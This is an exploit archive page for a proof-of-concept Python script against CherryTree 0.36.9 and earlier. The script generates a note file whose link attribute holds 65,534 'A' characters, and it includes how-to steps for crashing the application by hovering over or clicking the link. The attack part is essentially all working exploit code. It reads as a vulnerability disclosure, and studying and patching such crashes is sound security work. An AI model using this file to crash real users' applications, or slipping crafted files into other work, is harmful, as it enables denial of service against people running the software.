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CherryTree 0.36.9 Memory Corruption

CherryTree 0.36.9 Memory Corruption
Posted Oct 27, 2016
Authored by n30m1nd

CherryTree version 0.36.9 memory corruption proof of concept exploit.

tags | exploit, proof of concept
SHA-256 | a73c623309ab0c2fe47472c2cb9b1e12718303197e2fb29512afab216d172f7f

CherryTree 0.36.9 Memory Corruption

Change Mirror Download
#!/usr/bin/python

### CherryTree 0.36.9 - Memory Corruption PoC by n30m1nd ###

# Date: 2016-10-27
# PoC Author: n30m1nd
# Vendor Homepage: http://www.giuspen.com/cherrytree/
# Software Link: http://www.giuspen.com/software/cherrytree_0.36.9_setup.exe
# Version: Affects all versions of CherryTree prior to 0.37.6
# Tested on: Win7 64bit and Win10 64 bit

# Credits
# =======
# Thanks to Giusepe Penone for this invaluable piece of free, open source software and also for quickly patching this vuln.
# Shouts to the crew at Offensive Security for their huge efforts on making the infosec community better

# How to
# ======
# * Run this python script. It will generate a "PoC-1.ctd" file.
# * Open the file and hover over the link.
# Bonus
# =====
# It will also crash if you click on the link (but it will also make your graphic drivers stop working sometimes...)

# Why?
# ====
# For what we have seen debugging the crash (thanks R0c0!), it happens inside libcairo2.0.dll due to a null pointer reference when
# trying to draw the contents of the graphical bitmaps.

# Exploit code
# ============

crashfile = '''<?xml version="1.0" ?>
<cherrytree>
<node custom_icon_id="0" foreground="" is_bold="False" name="PoC" prog_lang="custom-colors" readonly="False" tags="" unique_id="1">
<rich_text link="node 1 '''+ "A"*65534 + '''">MOUSE OVER THIS</rich_text>
</node>
</cherrytree>
'''

with open("PoC-1.ctd", 'w') as f:
f.write(crashfile)
f.close()

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